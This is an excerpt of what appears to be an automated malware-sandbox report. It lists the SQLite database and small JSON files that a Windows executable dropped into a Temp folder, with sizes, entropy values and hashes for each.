SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7tij0NCPzE

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zV5t0zP5w

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7zY4Gg1KWu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\81SG0Oq172

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\849GSD8HDL

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8K8CeYQM3u

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8OnN3g26iv

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8S6xeEOzM6

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8UIuPKeyFJ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\8WW28O0jYV

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8ccJuj6ZEZ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8q3O4HXLWW

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\95yE6O72wJ

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\96RVPxgGmX

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9XHvUddtSo

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9YM9EyGHsU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9je8tEHnWR

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9jmzOYcly3

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9pIMWzjpYz

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A29uYA9xej

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A6KHuTpkiM

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\ANE1jnh4zf

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AWpmHAeAQm

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\AauLZatgLU

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B74GvV4c1g

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B8LjSa6RRu

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BUCK5hiOwC

Download File

Process:	C:\Users\user\Desktop\Z90Z9bYzPa.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
